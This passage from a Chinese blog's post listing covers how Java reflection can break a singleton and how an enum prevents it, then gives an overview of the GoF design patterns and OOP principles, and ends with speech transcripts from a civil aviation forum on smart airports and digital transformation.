static void main(String[] args) throws Exception { LazyMan instance1 = LazyMan.getInstance(); // 获取空参构造器 Constructor<LazyMan> declareConstructor = LazyMan.class.getDeclaredConstructor(null); // 将空参构造器的Accessible设置为true declareConstructor.setAccessible(true); // 调用空参构造器实例化对象 LazyMan instance2 = declareConstructor.newInstance(); System.out.println(instance1); System.out.println(instance2); } } single.LazyMan@1b6d3586 single.LazyMan@4554617c3.1.2 防止措施通过在构造函数中加入一个同步代码块进行一次是否已经生成了该单例类对象的判断package single; import java.lang.reflect.Constructor; // 懒汉式单例 public class LazyMan { // 1.私有化构造函数 private LazyMan(){ synchronized (LazyMan.class){ if(lazyMan!=null){ throw new RuntimeException("不要试图使用反射破坏单例模式"); } } } // 2.先定义单例对象但不实例化 private volatile static LazyMan lazyMan; // 3.当发起调用的时候判断对象是否实例化,如果未实例化,则实例化再返回,否则直接返回 public static LazyMan getInstance(){ // 双重检测锁模式的懒汉式单例 DCL懒汉式 if (lazyMan==null){ synchronized (LazyMan.class){ if (lazyMan==null){ lazyMan = new LazyMan(); } } } return lazyMan; } public static void main(String[] args) throws Exception { LazyMan instance1 = LazyMan.getInstance(); // 获取空参构造器 Constructor<LazyMan> declareConstructor = LazyMan.class.getDeclaredConstructor(null); // 将空参构造器的Accessible设置为true declareConstructor.setAccessible(true); // 调用空参构造器实例化对象 LazyMan instance2 = declareConstructor.newInstance(); System.out.println(instance1); System.out.println(instance2); } }Exception in thread "main" java.lang.reflect.InvocationTargetException at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:423) at single.LazyMan.main(LazyMan.java:38) Caused by: java.lang.RuntimeException: 不要试图使用反射破坏单例模式 at single.LazyMan.<init>(LazyMan.java:11) ... 5 more3.2 V2:V1解决方案破解3.2.1 示例package single; import java.lang.reflect.Constructor; // 懒汉式单例 public class LazyMan { // 1.私有化构造函数 private LazyMan(){ synchronized (LazyMan.class){ if(lazyMan!=null){ throw new RuntimeException("不要试图使用反射破坏单例模式"); } } } // 2.先定义单例对象但不实例化 private volatile static LazyMan lazyMan; // 3.当发起调用的时候判断对象是否实例化,如果未实例化,则实例化再返回,否则直接返回 public static LazyMan getInstance(){ // 双重检测锁模式的懒汉式单例 DCL懒汉式 if (lazyMan==null){ synchronized (LazyMan.class){ if (lazyMan==null){ lazyMan = new LazyMan(); } } } return lazyMan; } public static void main(String[] args) throws Exception { // 获取空参构造器 Constructor<LazyMan> declareConstructor = LazyMan.class.getDeclaredConstructor(null); // 将空参构造器的Accessible设置为true declareConstructor.setAccessible(true); // 调用空参构造器实例化对象 LazyMan instance1 = declareConstructor.newInstance(); LazyMan instance2 = declareConstructor.newInstance(); System.out.println(instance1); System.out.println(instance2); } }3.2.2 防止措施--"红绿灯策略'',设置标志位package single; import java.lang.reflect.Constructor; // 懒汉式单例 public class LazyMan { private static boolean flag = false; // 1.私有化构造函数 private LazyMan(){ synchronized (LazyMan.class){ if(flag == false){ flag = true; }else{ throw new RuntimeException("不要试图使用反射破坏单例模式"); } } } // 2.先定义单例对象但不实例化 private volatile static LazyMan lazyMan; // 3.当发起调用的时候判断对象是否实例化,如果未实例化,则实例化再返回,否则直接返回 public static LazyMan getInstance(){ // 双重检测锁模式的懒汉式单例 DCL懒汉式 if (lazyMan==null){ synchronized (LazyMan.class){ if (lazyMan==null){ lazyMan = new LazyMan(); } } } return lazyMan; } public static void main(String[] args) throws Exception { // 获取空参构造器 Constructor<LazyMan> declareConstructor = LazyMan.class.getDeclaredConstructor(null); // 将空参构造器的Accessible设置为true declareConstructor.setAccessible(true); // 调用空参构造器实例化对象 LazyMan instance1 = declareConstructor.newInstance(); LazyMan instance2 = declareConstructor.newInstance(); System.out.println(instance1); System.out.println(instance2); } }3.3 V3:V2解决方案破解3.3.1 示例对字节码进行反编译获取到标志位,然后使用反射破解"红路灯"标志位package single; import java.lang.reflect.Constructor; import java.lang.reflect.Field; // 懒汉式单例 public class LazyMan { private static boolean flag = false; // 1.私有化构造函数 private LazyMan(){ synchronized (LazyMan.class){ if(flag == false){ flag = true; }else{ throw new RuntimeException("不要试图使用反射破坏单例模式"); } } } // 2.先定义单例对象但不实例化 private volatile static LazyMan lazyMan; // 3.当发起调用的时候判断对象是否实例化,如果未实例化,则实例化再返回,否则直接返回 public static LazyMan getInstance(){ // 双重检测锁模式的懒汉式单例 DCL懒汉式 if (lazyMan==null){ synchronized (LazyMan.class){ if (lazyMan==null){ lazyMan = new LazyMan(); } } } return lazyMan; } public static void main(String[] args) throws Exception { // 获取空参构造器 Constructor<LazyMan> declareConstructor = LazyMan.class.getDeclaredConstructor(null); // 将空参构造器的Accessible设置为true declareConstructor.setAccessible(true); // 调用空参构造器实例化对象 LazyMan instance1 = declareConstructor.newInstance(); // 获取"红绿灯标志位" Field flag = LazyMan.class.getDeclaredField("flag"); // 重置为"绿灯" flag.set(instance1,false); LazyMan instance2 = declareConstructor.newInstance(); System.out.println(instance1); System.out.println(instance2); } }single.LazyMan@4554617c single.LazyMan@74a144823.3.2 防止措施-使用枚举Enum实现单例模式import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; enum EnumSingle { INSTANCE; public EnumSingle getInstance(){ return INSTANCE; } } public class Test{ public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { EnumSingle instance1 = EnumSingle.INSTANCE; Constructor<EnumSingle> declaredConstructor = EnumSingle.class.getDeclaredConstructor(String.class,int.class); declaredConstructor.setAccessible(true); EnumSingle instance2 = declaredConstructor.newInstance(); System.out.println(instance1); System.out.println(instance2); } }Exception in thread "main" java.lang.IllegalArgumentException: Cannot reflectively create enum objects at java.lang.reflect.Constructor.newInstance(Constructor.java:417) at single.Test.main(EnumSingle.java:20)参考资料【狂神说Java】单例模式-23种设计模式系列单例模式Java中的双重检查锁(double checked locking) Java设计模式(一)之单例模式
2021年12月13日
629 阅读
0 评论
0 点赞
2021-12-10
设计模式学习笔记1:设计模式概述
1.什么是设计模式设计模式的概念最早是由 克⾥斯托佛·亚历⼭⼤ 在其著作 《建筑模式语⾔》 中⾸次提出的。 该书介绍了城市设计的 “语⾔”,提供了253个描述城镇、邻⾥、住宅、花园、房间及⻄部构造的模式, ⽽此类“语⾔” 的基本单元就是模式。后来, 埃⾥希·伽玛 、 约翰·弗利赛德斯 、 拉尔夫·约翰逊 和 理查德·赫尔姆 这四位大佬即GoF(Gang of Four,四人组/四人帮)接受了模式的概念。 1995 年, 他们出版了 《设计模式: 可复⽤⾯向对象软件的基础》⼀书,将设计模式的概念应⽤到程序开发领域中。该书 共收录了23种设计模式,从此树立了软件设计模式领域的里程碑,人称GoF设计模式。简单来说,设计模式(Design Pattern)是前辈们对代码开发经验的总结,是解决特定问题的一系列套路。它不是语法规定,而是一套用来提高代码可复用性、可维护性、可读性、稳健性以及安全性的解决方案。2.学习设计模式的意义设计模式的本质是面向对象设计原则的实际运用,是对类的封装性、继承性和多态性以及类的关联关系和组合关系的充分理解。正确使用设计模式具有以下优点:可以提高程序员的思维能力、编程能力和设计能力。使程序设计更加标准化、代码编制更加工程化,使软件开发效率大大提高,从而缩短软件的开发周期。使设计的代码可重用性高、可读性强、可靠性高、灵活性好、可维护性强。3.设计模式的基本要素4.GoF 23创建型模式:单例模式、工厂模式、抽象工厂模式、建造者模式、原型模式。结构型模式:适配器模式,桥接模式,装饰模式,组合模式,外观模式,享元模式,代理模式行为型模式:模板方法模式,命令模式,迭代器模式,观察者模式,中介者模式,备忘录模式,解释器模式,状态模式,策略模式,职责链模式,访问者模式。5.OOP七大原则开闭原则:对扩展开放,对修改关闭里氏替换原则:继承必须确保超类所拥有的性质在子类中仍然成立依赖倒置原则:要面向接口编程,不要面向实现编程。单一职责原则:控制类的粒度大小、将对象解耦、提高其内聚性。接口隔离原则:要为各个类建立它们需要的专用接口。迪米特法则:只与你的直接朋友交谈,不跟"陌生人"说话。合成复用原则:尽量先使用组合或者聚合等关联关系来实现,其次才考虑使用继承关系来实现。参考资料【狂神说Java】通俗易懂的23种设计模式教学(停更)设计模式简介
2021年12月10日
542 阅读
0 评论
0 点赞
2021-12-09
第十九届民航信息化发展论坛发言稿收录
1.中国民用航空局原副局长 杨国庆主持人:感谢殷总工。下面请我们的老领导,中国民用航空局原副局长杨国庆先生讲话。杨国庆:各位领导、各位嘉宾、女士们、先生们大家早上好,非常高兴应邀来参加本届信息化论坛,我发言的题目是“坚持开展智慧民航建设,全面推动行业数字化转型”。当前我国进入了新发展阶段,发展基础更加坚实,发展条件深刻变化。进一步发展面临新的机遇和挑战。中华人民共和国国民经济和社会发展第十四个五年规划和2035年远景目标纲要中明确指出,我国要迎接数字时代,结合数据要素潜能,推进网络强国建设,加快建设数字经济、数字社会、数字政府,以数字化转型整体驱动生产方式、生活方式和治理方式等。为深入贯彻落实新发展理念,顺应新时代民航发展趋势全面推进民航强国建设、加强民航高质量发展,在今年全国民航工作会议上,智慧民航首次出现在年度工作的宗旨要求当中。"十四五”时期,民航总体 工作思路也将智慧民航建设纳入其中,提出了以安全为底线,智慧民航为主线有关要将智慧民航建设有新突破作为开拓四个新局面的其中之要求和积极主动推进行业数字化、智能化、智慧化转型升级。以智慧民航建设牵引的发展战略,推进智慧民航重要,贯穿行业发展的全过程和各领域。以智慧民航建设构成新的竞争优势,使智慧民航建设成为行业高质量发展的主攻方向和驱动行业发展的主要动力。“十三五"以来民航局党组坚持贯彻落实创新发展理念,高度重视民航智慧化建设,充分发挥民航信息化技术的应用优势,不断扩大新技术应用。民航智慧化建设的内涵不断的延伸,多方参与格局不断优化,成效不断的扩大彰显,民航智慧化建设的理念成效贯穿于坚守安全底线提升服务品质,强化监管能力,深化行业改革,统筹规划发展等具体工作当中,为智慧民航及民航强国建设奠定了坚实的基础。"十四五"是我国民航单一航空运输强国向多领域民航强国迈进的重要阶段。是我国民航实现高质量发展的关键阶段。智慧民航的建设重要抓手根本途径也是重要的任务,智慧民航建设充分发挥信息化、数字化的驱动引领作用,助力破除制约行业发展的体制机制性障碍,要积极推进运行的模业务流程等变革与创新。在制度设计、规划标准编制修订等方面做好保障和支撑。要坚持系统观念,有序做好各领域、各方面整体设计和协同推进,通过新兴基础设施为传统基础设施赋能,立足智慧出行、智慧物流、智慧运行、智慧监管四个场景,加强数字感知,搭建生态系统,完善数据治理,强化网络安全、支持行业创新。总之,民航的快速发展、新一轮的科技革命催生着民航业的模式、形态、格局的全方位重塑,实现以智慧民航为特征的新一代航空运输系统,需要提高行业主体间的协同运行水平和服务保障能力,打造数据流、业务流、信息流等各类资源要素有机融合的民航生态圈。需要推动全方位的数字化转型,构建民航业数字化环境和数据资源融合的应用生态体系。数字化转型是以云计算、大数据、物联网、人工智能、区块链新一代信息技术的不断深化应用,激发数据要素创新驱动潜能,打造提升信息时代发展能力,加速业务优化升级和创新转型改造提升传统动能培育发展新动能,获取新价值,实现转型升级和创新发展的过程。当前数据已经成为土地、劳动力、资本、技术之后的第五大生产要素,正在重塑管理决策和价值创造的过程和方式。数据资源的规范管理、价值利用、充分共享也是智慧民航建设的发展关键基础。民航生产力提高高质量发展需要充分发挥数据生产要素的价值,实现行业决策从业务驱动向数据驱动的转变。近年来我国民航积极开展数字化转型的探索和实践,不少机场、航司、空管等民航企事业单位在战略层面开始了数字化转型规划、企业务、数据应用、技术架构的再定义与优化。关键场景的解决方案、蓝图设计等顶层研究。在实践层面,开始了基于人工智能技术驱动的多业务数据融合,多场景情景理解,系统计算与决策方面的有意尝试和探索。数字化转型驱动、智慧民航建设的氛围已经初步形成,并进入到全行业全面数字化转型新时期。实现民航的全面数字化转型面临主要的挑战我认为有以下几个方面的挑战,首先标准规范建设仍需不断的完善。目前随着数字化转型带来新业态一些传统的行业规章,不能完全适应当前的需要,一些新生的业务也面临着无章可循的容态,智慧化建设的终极目标实现机器换人提高生产力和生产效力,无人、少人是典型智慧化应用场景,所以民航是一个高度强调安全的行业,很多规章规范当中都明确要求了安全员、责任人这样一些要点。这种规范与技术上的冲突成为了数字化转型的制约和束缚。中国民航机场建设行动纲要中明确指出,推进机场数据共享与协同实现网络化,统一数据定义及信息交互标准,实现不同数据的交互共享,民航局今年印发的《机场无人驾驶设备应用路线图》也明确了到2022年基本建立了标准体系框架是首要任务,是形成有效的标准研究、动态修订、跟踪评估的工作机制,初步构建国家标准、行业标准、团体标准协同配套的标准体系建设。同时启动修编机场设备相关规章,将无人驾驶设备纳入民用机场专用设备体系当中管理。第二个挑战是智慧化项目的建设需要统筹协同。建设不同步缺少数字化转型整体规划引领,行业内各单位,单位内各部门建设的水平参差不齐,导致智慧化项目的建设无法发挥全部的效率和作用。比如在电子登记牌的应用初期,由于值机、安检、登机等部门和系统建设不同步,导致在一些环境仍然需要临时打印纸质登机牌的现象。一些机场的ICDM项目,由于缺少自动化的数据采集手段,一些高级的系统决策功能无法使用,由于项目建设单位部门间的差异以及资产业务管理部门的职能不同导致信息碎片、信息孤岛的现象仍然存在。因此在民航数字化转型的同时,仍然面临着补齐信息化建设短板的问题。民航局在施行这项建设导则当中对智慧机场概念进行了明确,生产要素全面互联,数据共享、协同高效、智能运行的机场。民航局刚刚发布了《机场数据基础设施技术指南》和《机场数据规范与交换技术指南》,从数据生命周期的数据描述了机场数据基础设施的建设内容,并对从数据生命周期视角描述了机场数据基础设施的建设内容,并对其提出了总体技术架构和技术要求,为机场数据共享融合与应用提出技术支撑。后者聚焦机场数据资源统一描述和数据交互共享规范两个主题,对机场各类业务信息系统的数据共享与交互以及数据价值的开发利用等方面具有重要的指导意义。第三条是纵强横弱,重技术、轻成效的现象还是很普遍的,在民航数字化转型过程当中,数字化、智慧化项目往往纵向贸通、横向割裂,在一个单位一个部门一个业务条件甚至具体场景上开展建设尤其新知识的试点应用更是成为了各个单位宣传的名片,但是受到技术成熟度和计算资源的限制,一些智慧化项目并没有真正转化成应有的生产力。近年来各机场普遍试点应用的ICDM节点视频设备采用应用为例,国内多家大型枢纽机场,新建机场,中小型机场部分机位尝试利用视频设备技术,采集ICDM节点的数据。成为了人工智能、计算机视觉行业应用的典型案例。除了个别机位数量较少的小机场外,大部分机场并没有在所有机位全面推广。主要原因是目前设备技术的对算力的要求比较高,并且设备模型不一样。每个机位重新进行训练代价很大,形成了标杆试点多、实际应用少的尴尬局面。所以,民航数字化转型是在国家利好环境下应对诸多条件的系统性工作。这其中既要利用好国家的政策,把握好当前不断发展的技术,积极做好相关工作,使民航数据化转型成为民航高质量发展的新动力。那么,推行行业全面数字化转型需要注意以下几点。第一,要坚持标准行业规范先行,组织编制统揽全局的行业数字化转型系统的标准规范和系列的标准规范。要突破机场、航司、空管业务板块的限制,统筹行业各个单位、各个部门、标准规范的同步协调。还要联合公安、边检、海关相关单位,共同参与数字化标准的制定工作,真正形成各个单位、各个部门、各个业务条件的完整的数字化、智慧化的建设标准,能够引导建设单位在标准规范下实现数字化、智慧化项目,得到了业务相关部门的有效配合,从而提高行业的生产力和创新能力。在具体操作层面,可以以机场数据规范与交互技术指南发布为契机,进一步深化完善全行业数据格式建立统一数据交换标准,促进数据的共享与交互,最大限度的发挥数据的效能。第二,要制定数字化转型总体规划,并系统实施,要坚定不移规划引领一张蓝图绘到底,从理论层面讲,数字化转型的总体框架,系统阐述数字化转型的主要任务,过程联动方式和分布实施的要求,主要包括数字化转型的主要视觉、过程方法和发展阶段。主要视觉给出数字化转型的任务体系,包括发展战略,新型能力,系统解决方案、治理体系和业务创新转型这样五个视角,凝聚了数字化转型的主要任务,给出了任务间的关联关系;过程方法提出数字化转型的方法体系,针对数字化转型的五个视角分别给对应的过程联动方法,并构建相关方法之间的相互关系作用。所谓发展阶段明确数字化转型的路径体系,将数字化转型分为初始级、单元级、流程级、网络级、生态级五个发展阶段。分别形成数字化转型五个视角在不同发展阶段的主要实施要求。实现层面讲数字化转型就是要在民航"十四五"发展的统揽下,坚持系统性原则,做好各领域各方面整体设计和协同推进。第三,建设要注意智慧民航基础理论研究,要加强面向民航生产运行场景需求的人工智能算法、自主可控设备、智能系统的研究。加强对核心系统关键技术的公关,提升民航各领域的创新能力和国产化水平,在基础理论与生产应用之间,建立起一套面向行业的理论体系中间界,一方面制成了基础理论当中的方法和模型,另一方面也加入了民航应用的场景和需求,使基础理论的应用实践是生产理论应用的理论基础,要求把空用、泛化的理论加入民航生产运行场景的约数形成更为有效的适合行业的理论,这需要行业院校、科研机构坚持不懈的努力,也需要在开放包容、强化合作的原则下引入外力,引导行业外的研究力量,聚焦行业问题,助力智慧民航基础理论的研究和突破。第四,强化民航信息安全保障措施,民航“十四五“规划把信息安全作为航空安全的一个重要的组成部分,进一步提升了信息安全在民航行业当中的地位。信息安全是航空安全的一部分,我们已经呼吁了好多年了,但是第一次文字当中我看是在即将颁布的“十四五”规划当中出现了文字,信息安全是航空安全的一个重要组成部分,所以随着数字化、智慧化建设的不断深入,自主无人、人机协作、组装智能、群体智能、智能系统逐步取代以人为中心的决策。少人、无人运行场景当中,机器和系统自主决策成为常态,这样一个运行模式下,网络与信息安全的影响已经不再是某个系统是否正常运转,数据是否可靠,而是将直接影响到机场的运行、航班的起降甚至是全行业的安全水平,信息安全的内涵也将由原先的防攻击、防入侵、防篡改、防伪拓展到智能系统决策的可靠性,安全性和行业的韧性运行这样一个范畴,这需要开展有针对性的理论研究和基础技术研究工作,为行业数字化转型提供更为可靠的技术支撑和安全保障。第五,加强人才培养与科技创新投入,行业企业的发展人才最宝贵的特色,民航数字和转型特色更多高层次的数字化人才,加大科技人才的引进和作用力度,激发科技人员技术创新的热情,在行业内形成促进人才成长的良性循环和生态。一方面行业院校开展有针对性的培养工作,另一方面也需要民航企事业单位提升自身的造血功能,民航数字化转型需求需要发挥数据的力量,避免过度的将数据暴露出去危机行业和国家的安全。这就需要行业单位有驾驭自身数据的能力,需要单位有能驾驭数据的人,需要既懂业务又了解技术的复合型人才。此外行业各单位充分利用自己对行业的理解,增强研究和技术创新能力,在年度发展预算当中预留专项资金,对数字化转型提供相应的资金支持,同时为行业内外科研力量协同合作,广泛吸纳行业内外技术优势和各种创新力量,积极争取国家地方财政的知识创新专项的补贴。总之,全面数字化转型是“十四五“期间民航一项重要的任务,也是一个系统的工程,我们面对的各种挑战需要依靠政府的引导、借助各方面的科研力量能力,精诚团结共同努力,砥砺前行、协同配合为智慧民航建设,实现民航强国而努力奋斗,最后祝会议论坛圆满成功,谢谢大家。2. 中国民用航空局机场司司长 张锐主持人:感谢杨局长。本届论坛的主题是“信息化助力民航高质量发展”,我们将围绕十四五期间智慧民航建设、民航的数字化转型、5G技术应用、网络与信息安全、信息化与疫情防控等话题开展深入研讨和热烈交流。我们也邀请了多位领导、专家到论坛发表内涵丰富的主题演讲。下面,首先演讲的是中国民用航空局机场司张锐司长,他演讲的题目是《我国智慧机场建设发展现状与未来》,有请张所长。张锐:尊敬的杨国庆副局长、殷时军总工、唐书记、汪厅长、刘杰书记,各位领导、各位嘉宾,大家上午好!非常感谢民航报社的邀请,参加这个论坛应该是第三次参加。当前,智慧与创新已经成为民航业的鲜明特色。今年4月,在智慧民航建设领导小组第一次会议上,冯正霖局长明确指出:"智慧民航”是民航"十四五”期间的发展主线,可以说,数字与智慧化转型 是民航业把握未来先机、赢得发展优势的关键一招。按照本次会议的安排,我今天的发言主题是"我国智慧机场建设发展的现状和未来"。借这个机会和各位领导专家分享我们在推动智慧机场建设方面的一些工作情况和一些考虑。第一方面,进入新阶段,智慧机场建设全面推开,也呈现出了新的特点。全行业各单位认真贾彻落实冯正霖局长进话精神,积极推进机场智慧化的发展转型,以智慧助推四型机场建设开展了探索实践,一段时间以来,各类新型技术设备先后在行业部署,众多便捷服务产品陆续在机场应用,整体上呈现出了百花齐放的特点。进入2021年以来,我们感觉智慧机场建设又体现出了三个新的发展亮点:第一个方面,是智慧机场的智能建造成为新的发展趋势。在刚刚结束的全国民航机场建设管理工作会议上,冯局长指出要推动咨询和设计数字化转型,推动智慧工地建设,依托智慧化理念打造机场的品质工程建设。为推动智慧建造的有序发展,民航局发布了《推动民航智能建造与建筑工业化协同发展的行动方案》,明确未来五年的重点工作任务,围绕BIM领域正在针对分类与编码、设计、施工、运维四个部分的BIM标准征求行业意见,充分支持机场智慧建造技术的应用与发展。一年来以BIM为代表的智能建造和以装配式为代表的施工新工厂逐步在民航机场建造领域得到探索式应用。天府机场依次新建三条跑道,建立起了以BIM为辅助设计施工的工作模式:白云机场三期改扩建将运用预置装备化的机场滑行道桥和道面技术;在重庆新机场选址过程中,我们组织民航机场建设集团综合利用了BIM、GIS和无人机等新技术,自主研发了机场数字化选址的辅助系统;鄂州机场创新应用智慧项目管理、数字工地数字施工与监控,一共完成了BIM模型1500余个,BIM的构建2000万余个,打造了国内首个一次性交付实体工程与数字模型的机场项目,实现了 BIM的正向设计。第二个特点是机场的无人驾驶设备成为新业态。无人驾驶技术在机场的应用探索成为智慧机场的一个全新的应用场景,大兴机场正在开展无人摆渡车和无人巡逻车两款车型的测试:长沙机场推进探索少人化的航空物流,在货站区域试用无人物流牵引车运输货物,同时引入无人摆渡车正在机坪开展测试;南京机场自行研制的登机桥远程驾驶系统已经进入测试阶段:厦门机场正在开展无人行李牵引车的试点应用;乌鲁木齐机场在今年9月一次性投入5台无人驾驶物流车在停机坪进行了试运行。为支持机场无人驾驶设备的应用,我们组建了国内权威课题组团队,对各交通领域的检验、测试、应用及管理政策进行了广泛而深入的调研,经过一年多的工作,我们制定了《机场无人驾驶设备应用路线图(2021-2025)》,并在机场建设管理工作会议上正式发布,为这一新型技术产品在民航机场推广应用提供了有效的政策依据。第三个特点是机场智慧管理呈现新模式。一年来,智慧机场正在从旅客服务、生产调度向智能运维、智能维养等应用场景不断拓展,同济大学与天府、咸阳机场合作,分别建成了首个单跑道全功能智能系统、多源信息融合智慧跑道系统,实现了跑道健康监测和运行安全的全生命周期的预警:武汉理工大学创新应用了地理光缆代替传统传感器,监测元件数量由百级单位提升到两万级单位水平;鄂州机场通过数字化施工方式,对施工全过程进行监控,对施工质量进行预测,改变了传统的靠监理航站事后检测的方式,为工程质量检站提供了有效依据。以智慧为驱动的新型机场建设正在从航站楼飞行区向机场全领域覆盖,从旅客服务、生产运行向机场全要素调整,从机场运营向规划设计全生命周期转变,智慧数字化转型正在逐步深层次融入民航机场的发展。我分享的第二部分内容是围绕新形势,全行业推进智慧机场建设面临的新挑战。今年是四型机场进入全面推进、转段进阶的跨越年,也是打造民航机场品质工程的开局年。在上周闭幕的鄂州全国民航机场建设管理大会上,我们深入总结了当前智慧机场、四型机场建设的形势特点。我们认为,目前主要呈现出三个变化:一是工作方向从深化认识转向具体实施,更加强调落地性;二是工作思路从搭建框架转向细化分解,更加强调系统性;三是工作重心从示范先行转向全面推进,更加强调整体性。全行业总体上已经由"为什么"迈向了"怎么干”,由顶层框架设计细化分解为具体实施指南、由示范标杆带动转变为“一个也不能掉队”。与此同时,我们也深刻认识到在推进智慧建设和四型建设的过程中还存在着四个方面的挑战:一是理念认识不够深入,工作推进存在挑战。目前仍然还有部分机场对智慧发展理念认识不深入不彻底,有些单位仍然认为智慧机场就是堆砌技术、采购新设备、搭建新系统,为智慧化而搞智慧,把工作手段和工作目标湿淆;还有的单位盲目照搬照抄追赶潮流,别的机场用了我就用、国外有了我就效仿。智慧机场运营应该明确自身工作需求、明确工作目标、制定一体规划、紧紧围绕机场的痛点和难点,以便捷旅客、运行安全和提高效率为导向开展智慧化转型。二是政策标准供给不够全面,制度保障存在挑战。我们现行的政策标准已经不能够适应智慧化机场建设快速发展的需求。刚才国庆局长在讲话中也强调了这一点,深化改革任务更加急切和紧迫。比如,我们制定了机场新技术推广应用的政策,但是名录的更新、机制的落地等方面都已经滞后了行业的发展,民航工程建设领域的概预算和工程定额由于发布时间比较早,涵盖内容有限,已经难以支撑智能和新型基础设施项目的建设,制约了智慧机场的需求;再比如,机场无人驾驶设备由于缺少具体的管理制度、检测机制和标准规范,目前整体上还处于“进不来、不敢用”的尴尬境地,特别是我们围绕着无人驾驶设备的全场景检测基地,目前行业还没有建立完善这样的检测环境。三是管理模式不能完全匹配,融合应用存在挑战。民航机场生产运行和管理体系是环环相扣的整体系统,智慧机场建设不能只解决生产资料,更需要扎实厘顺运营管理机制,需要深入到生产关系调整的层面。比如,各类平台系统虽然先后部署,但是由于缺乏一体规划,数据无法实现互联互通,只能实现机场局部的分散问题,无法实现整体智慧,比如无人驾驶设备的应用还需要解决无人设备与有人设备、无人设备与航空器的同场协同运行问题,才能够有效发挥作用;再比如各类的刷脸刷码通关系统,如果没有深层次的优化全流程通关机制,就仍然无法避免困扰旅客的排长队的问题。在上周民航局新闻发布会上,民航局公安局正式推出了差异化安检项目,就在这方面迈出了实质性一步,为旅客真正带来了高效与便捷。四是科技创新还不能够完全支撑,自立自强存在挑战。目前,我们在机场新技术和智慧系统方面的研发基础还不够牢固,自主创新能力还不够。比如,我们在机场规划设计中使用的仿真模拟软件大多都来自于国外,其中关键的逻辑算法和建模原理我们都不掌握,这些问题大大影响了仿真应用的效果;再比如,有的信息化企业和科研机构还缺乏对民航业务领域的深入了解,与行业融合仅仅停留在销售技术和产品层面,数字化技术与民航业务无法实现深层次的聚合创新,智慧产品对机场高质量发展无法充分地发挥效能。这是以上和大家分享的四个方面的挑战。第三个部分,面对新发展,充分把握智慧机场发展主线,启动新征程,就是我们下一步要怎么干。围绕四型机场建设,打造品质工程的要求,下阶段的工作,我们将重点从五个方面推动发力,全面深化智慧机场建设。第一,围绕政策体系发力,做好框架完善。抓紧推动《机场新技术推广应用管理办法》的出台,着力强化新型技术产品的应用支持,加快推进机场智能建造与建筑工业化行动方案的落地实施,完善指导文件体系,积极地鼓励相关机场试点示范,推进修订《机场工程预算定额和概预算管理办法》,为智能建造和新基建提供资金保障支持。二是围绕标准体系发力,着力加强标准供给。重点针对 BIM、装配式施工、机场无人驾驶设备等行业迫切需要的领域加快推进标准体系的构建与文件制定,积极地推动行业内外资源的融合,鼓励科研成果和实践产品及时向标准进行转化,不断地完善标准体系的构建。三是围绕推进体系发力,促进全员参与。目前我们发现,中小机场在智慧化建设方面发声少、参与性不强,下步我们考虑要向中小机场倾斜,重点遴选一批示范案例,鼓励更多中小机场围绕旅客出行基本需求,因地制宜地打造小而精、小而美的标杆项目,研究探索适宜中小机场开展智慧机场、四型机场建设的实现路径。四是围绕创新体系发力,补强科技基础。“十四五”时期是民航机场科技创新提升技术引领发展的关键时期,我们要牢牢抓住科技创新的这个"牛鼻子",紧密围绕智慧民航建设这条主线,聚焦提升机场规划设计水平,扎实开展基础研究储备,重点地推进机场无人驾驶设备的推广应用,研究数字孪生机场实现路径,为优化机场建设打造智慧化运营提供技术支控。五是围绕合作体系发力,强化工作协同。几年来,一大批中央企业和各个方面的科研院所积极响应行业发展需求,开展了大量的智慧机场的科研实践活动。比如,中交、中电科、华为等单位积极地参与了各地的机场智慧化建设,并形成了深度融合发展的关系;中铁、中建等大型中央建筑企业以及苏交科、华设等大型设计院所先后参与机场建设与相关课题研究,为行业带来了大量有利资源。我们先后认定了6家民航机场工程中心和重点实验室,开展了一系列的智慧发展与科技创新工作,我们于今年年初成立了民航工程建设标准化技术委员会,并在工程建设标准体系下设立了新基建的标准体系,希望更多的专家和研究机构能够加入进来,参与到智慧机场标准体系建设,为我国智慧机场标准的国际化共同努力,我们还将继续搭建合作平台,希望进一步汇聚来自各方力量,共同地推进智慧机场、四型机场建设再上新台阶,为民航强国建设再出新力。各位领导、各位来宾,未来,智慧将成为民航机场的鲜明特色,发展前景广阔,但是道路任重而道远,我们迫切需要行业内外的各单位、各个行业的专家学者积极广泛地参与进来,齐心协力、共建共享,共同开创智慧机场、四型机场建设,打造品质工程,共同开创民航机场高质量发展的未来!最后,感谢中国民航报社,感谢各单位一直以来对机场司工作的支持,预祝本次会议取得圆满成功,谢谢大家!3.中国民用航空局总工程师 殷时军殷时军:尊敬的杨国庆局长,各位领导、各位嘉宾,朋友们大家上午好!很高兴和大家见面,有机会聆听各位专家、学者关于民航信息化发展的真知灼见,本次论坛是在全行业认真贯彻落实党的十九届六中全会精神之际召开的。论坛聚焦信息化助力民航高质量发展这一富有时代性、行业性的主题,有助于帮助大家更好地了解当今世界信息化发展的新形势和“十四五”时期民航信息化发展的新思路,为“十四五”民航信息化工作开好头、起好步、布好局,以信息化赋能行业高质量发展,更好地服务民航强国建设,在此,我谨代表民航局对大家的到来表示热烈的欢迎和衷心的感谢!也借此机会,我谈三个方面的意见,同大家交流。第一方面,"十三五”时期中国民航信息化发展取得显著成绩。"十三五”时期,民航局党组认真贯彻落实"十三五"国家信息化规划,在信息化基础设施建设、重要信息系统开发运行、专业技术队伍建设和人才培养方面均取得显著成绩为加快民航强国建设,实现民航高质量发展提供了坚实支撑、发挥了积极作用。一是民航信息化建设理念越来越明。“十三五”以来,民航局先后召开全国民航科教创新大会、民航科教创新成果展、民航科教创新高端对话会、智慧民航建设领导小组第一次会议等高规格会议,对行业信息化建设进行全面部署和有力推动,民航信息化发展的新格局已初步形成。在发展战略上明确以智慧出行、智慧空管、智慧机场、智慧监管四个智慧为抓手,全面推动全行业智慧民航建设工作,在发展主体上明确以航空公司、机场、空管为信息化建设和运行的主体,在发展目标上明确信息化建设以夯实安全基础、提升运行效率、提高服务品质为重点,行业信息化建设的理念和思路更清晰、更系统、更全面。二是民航信息化水平越来越高。目前我们已经基本完成了六大信息化系统工程建设,完善了空管数据通讯网和民航运输商务通信网两大专用骨干通信网络,网络基础设施初具规模,建成了民航局及七大管理局的电子政务门户网站,民航电子政务成效显著